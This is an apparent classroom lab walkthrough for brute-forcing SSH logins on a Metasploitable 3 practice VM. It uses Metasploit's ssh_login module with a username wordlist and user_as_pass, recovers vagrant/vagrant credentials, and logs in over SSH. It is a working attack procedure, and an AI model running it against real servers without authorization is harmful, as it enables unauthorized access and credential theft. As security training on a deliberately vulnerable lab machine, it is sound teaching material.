SSH Lab

This lab you'll be learning how to take advantage of an open SSH port using brute force. You will need to have the previous workspace lab done since this is a continuation of the previous lab where you Nmap your Meta3 machine and stored the info inside your workspace. I will also be leaving out certain commands that I feel you should have a handle on.

Step 1. Open Terminal and make yourself root user.

Step 2. Start the postgresql services and the msf database by using the command **"service postgresql start"** followed by **"msfdb init"**. You need to do this since the postgresql service is required for the msfdb and msfdb is needed for your workspace. I'm not going to explain why msfdb is needed for the workspace because I explained it in class and because I want you to also look up the info for yourself.

```
┌──(root㉿kali)-[/home/kali]
└─# service postgresql start

┌──(root㉿kali)-[/home/kali]
└─# msfdb init
[i] Database already started
[i] The database appears to be already configured, skipping initialization

┌──(root㉿kali)-[/home/kali]
└─#
```

Step 3. Now launch the msfconsole. Remember you can launch it with banner user **"msfconsole"** or **"msfconsole -q"** if you dislike the banner.

```
┌──(root㉿kali)-[/home/kali]
└─# msfconsole -q
```

Step 4. Now we want to continue from the workspace we used in the previous lab. To do this we do **“workspace -v”** This is to see which workspaces has info from our last Nmap such as services and etc recorded. Swap over the workspace if you’re not on the correct one using **“workspace <name of workspace>”** but remove the brackets

```
msf6 > workspace -v

Workspaces
==========

current  name     hosts  services  vulns  creds  loots  notes
-------  ----     -----  --------  -----  -----  -----  -----
         default  0      0         0      0      0      0
*        meta3    1      19        0      0      0      2
```

If you’re doing this lab again you see that I don’t have any vulns and creds and you do. Don’t worry I deleted my workspace to do it from the start, so it won’t confuse future student.

Step 5. Now that you’re on the correct workspace, you want to type **“services”** this allow you to see all the protocol that’s open on the meta3 machine. We know this because we Nmap meta3. For this lab we’re trying to gain remote access and the easiest way do so is using ssh. So we’re going to search for auxiliary module using the built in search in msfconsole. Type **“search type:aux ssh”**

```
msf6 > search type:aux ssh

Matching Modules
================

   #   Name                                                      Disclosure D
   -   ----                                                      ------------
   0   auxiliary/scanner/ssh/apache_karaf_command_execution  2016-02-09
n
   1   auxiliary/scanner/ssh/karaf_login
   2   auxiliary/scanner/ssh/cerberus_sftp_enumusers         2014-05-27
   3   auxiliary/dos/cisco/cisco_7937g_dos                   2020-06-02
   4   auxiliary/admin/http/cisco_7937g_ssh_privesc          2020-06-02
   5   auxiliary/scanner/http/cisco_firepower_login
   6   auxiliary/scanner/ssh/eaton_xpert_backdoor            2018-07-18
r
   7   auxiliary/scanner/ssh/fortinet_backdoor               2016-01-09
   8   auxiliary/scanner/http/gitlab_user_enum               2014-11-21
   9   auxiliary/scanner/ssh/juniper_backdoor                2015-12-20
   10  auxiliary/scanner/ssh/detect_kippo
   11  auxiliary/gather/qnap_lfi                             2019-11-25
   12  auxiliary/fuzzers/ssh/ssh_version_15
   13  auxiliary/fuzzers/ssh/ssh_version_2
   14  auxiliary/fuzzers/ssh/ssh_kexinit_corrupt
   15  auxiliary/scanner/ssh/ssh_login
```

Step 6. There's a bunch of auxiliary module for ssh but we're going to use module 15 since this one is used for checking login and we're going to use this to brute force the pass. To use this type **"use 15"** you can also type out the full name but doing use 15 is a lot easier.

```
msf6 > use 15
msf6 auxiliary(scanner/ssh/ssh_login) >
```

Step 7. Now that we're on this module we want to type **"options"** since we're going to change the parameter such as where the username file is rhosts (target machine ip) and etc.

```
msf6 auxiliary(scanner/ssh/ssh_login) > options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Des
   ----              ---------------  --------  ---
   BLANK_PASSWORDS   false            no        Try
   BRUTEFORCE_SPEED  5                yes       How
   DB_ALL_CREDS      false            no        Try
   DB_ALL_PASS       false            no        Add
   DB_ALL_USERS      false            no        Add
   DB_SKIP_EXISTING  none             no        Ski
   PASSWORD                           no        A s
   PASS_FILE                          no        Fil
   RHOSTS                             yes       The
   RPORT             22               yes       The
   STOP_ON_SUCCESS   false            yes       Sto
   THREADS           1                yes       The
```

Step 7. Open up your Metasploitable 3 vm check your ip. Since this is the ip you're going to use for the rhosts. After you check you want do **"set rhosts 10.0.2.20"** remember my Metasploitable 3 ip might be different.

```
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 10.0.2.20
rhosts => 10.0.2.20
```

Step 8. Next, you'll want to set your user_file. This is the file that has a store of username that msfconsole can refer to, to try and brute force the login info. To do this type **"set user_file /usr/share/wordlists/metasploit/unix_users.txt"**

```
msf6 auxiliary(scanner/ssh/ssh_login) > set user_file /usr/share/wordlists/metasploit/unix_users.txt
user_file => /usr/share/wordlists/metasploit/unix_users.txt
```

Step 9. Now the last parameter you need to set is the user_as_pass parameter. **"set user_as_pass true"**. I want you to think about why we would want to this to true instead of having a separate file just for the password. Because we can do that, we're just not going to do it for the purpose of this lab.

```
msf6 auxiliary(scanner/ssh/ssh_login) > set user_as_pass true
user_as_pass => true
```

Step 9.5 This step is optional but I like to do this, set verbose to true via **"set verbose true"** this will allow you to see the output instead of just staring at a screen with nothing while it's running in the background.

```
msf6 auxiliary(scanner/ssh/ssh_login) > set verbose true
verbose => true
```

Step 10. Now just type **"run"** and when it's complete you can do **"workspace -v"** again to see the vulns and creds column got updated to 1.

```
msf6 auxiliary(scanner/ssh/ssh_login) > workspace -v

Workspaces
==========

current  name     hosts  services  vulns  creds  loots  notes
-------  ----     -----  --------  -----  -----  -----  -----
         default  0      0         0      0      0      0
*        meta3    1      19        1      1      0      2
```

Step 11. View your creds via **"creds".** You should see that the user and pass is both vagrant. So, you know you can use this to ssh into your Metasploitable 3 using the **"ssh vagrant@10.0.2.20"**

```
msf6 auxiliary(scanner/ssh/ssh_login) > creds
Credentials
===========

host       origin     service       public   private  realm  private_type  JtR Format
----       ------     -------       ------   -------  -----  ------------  ----------
10.0.2.20  10.0.2.20  22/tcp (ssh)  vagrant  vagrant         Password
```

```
┌──(root㉿kali)-[/home/kali]
└─# ssh vagrant@10.0.2.20
vagrant@10.0.2.20's password:
Last login: Mon Sep 12 11:23:36 2022 from 10.0.2.15
-sh-4.3$
```

Now you're done with this lab. If you want to view the commands that you can, you can type **"help"**. I also want you to try and see if you can create a file on your Metasploitable 3 machine using the SSH connection.